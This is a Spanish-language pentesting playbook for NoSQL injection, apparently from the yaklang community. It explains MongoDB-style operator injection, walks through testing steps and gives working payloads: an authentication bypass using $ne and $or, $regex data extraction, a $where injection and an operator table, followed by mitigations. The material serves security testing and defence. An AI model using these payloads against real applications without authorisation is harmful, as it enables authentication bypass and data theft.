¿Qué hace nosql-injection?
Libro de jugadas para inyección NoSQL. Úsalo cuando operadores estilo MongoDB, objetos JSON de consulta, filtros de búsqueda flexibles o DSLs de consulta del backend puedan permitir abuso de datos o lógica.
¿Qué es la inyección NoSQL?
La inyección NoSQL es una vulnerabilidad de seguridad donde un atacante puede interferir con las consultas que una aplicación realiza a una base de datos NoSQL. A diferencia de las bases de datos SQL tradicionales, las bases de datos NoSQL como MongoDB utilizan formatos de consulta basados en JSON y operadores como $ne, $gt, $regex, $where, etc. Un atacante puede inyectar estos operadores en entradas de usuario para manipular la consulta y acceder a datos no autorizados, eludir la autenticación o realizar operaciones maliciosas.
¿Cuándo usar este libro de jugadas?
- La aplicación utiliza MongoDB, CouchDB, Cassandra u otras bases de datos NoSQL.
- Los puntos finales de la API aceptan objetos JSON en el cuerpo de la solicitud (por ejemplo,
{ "username": "admin", "password": { "$ne": "" } }). - Hay filtros de búsqueda flexibles que permiten consultas complejas.
- El backend utiliza DSLs de consulta que traducen entradas de usuario directamente a consultas NoSQL.
Cómo probar
Paso 1: Identificar puntos finales vulnerables
Busca puntos finales que acepten datos JSON y construyan consultas NoSQL. Los ejemplos comunes incluyen:
- Endpoints de inicio de sesión
- Parámetros de búsqueda/filtrado
- Funciones de búsqueda de API
Paso 2: Insertar operadores NoSQL
Intenta insertar operadores NoSQL en los parámetros de entrada. Por ejemplo:
Solicitud original:
{
"username": "admin",
"password": "secreto123"
}
Solicitud modificada:
{
"username": "admin",
"password": { "$ne": "" }
}
Paso 3: Observar la respuesta
Si la solicitud tiene éxito (por ejemplo, inicio de sesión concedido), la aplicación es vulnerable a la inyección NoSQL. El operador $ne significa "no es igual", por lo que la consulta coincide con cualquier contraseña que no sea una cadena vacía.
Operadores NoSQL comunes
| Operador | Significado | Ejemplo de payload |
|---|---|---|
$ne | No es igual | { "$ne": "" } |
$gt | Mayor que | { "$gt": "" } |
$gte | Mayor o igual que | { "$gte": "" } |
$lt | Menor que | { "$lt": "" } |
$lte | Menor o igual que | { "$lte": "" } |
$regex | Coincidencia de expresión regular | { "$regex": "^a.*" } |
$exists | El campo existe | { "$exists": true } |
$in | En un array | { "$in": ["admin", "root"] } |
$nin | No en un array | { "$nin": ["user"] } |
$where | Ejecuta JavaScript (MongoDB) | { "$where": "this.admin == true" } |
Técnicas avanzadas
Elusión de autenticación usando $or
{
"$or": [
{ "username": "admin" },
{ "username": { "$ne": "" } }
],
"password": { "$ne": "" }
}
Recuperación de datos usando $regex
{
"username": { "$regex": "^a" },
"password": { "$ne": "" }
}
Inyección de $where para ejecución remota de código (RCE)
Si la aplicación es vulnerable a la inyección $where, puedes ejecutar JavaScript arbitrario:
{
"username": "admin",
"password": { "$ne": "" },
"$where": "1"
}
Mitigación
- Validación de entrada: Rechazar o desinfectar operadores NoSQL de las entradas de usuario.
- Consultas parametrizadas: Utilizar consultas parametrizadas o funciones ORM que eviten la concatenación directa de entradas de usuario.
- Principio de mínimo privilegio: Asegurarse de que la cuenta de la base de datos tenga solo los privilegios necesarios.
- Registro y monitoreo: Registrar todas las consultas a la base de datos y monitorear actividades sospechosas.
Referencias
Este libro de jugadas es mantenido por la comunidad yaklang. Las contribuciones son bienvenidas.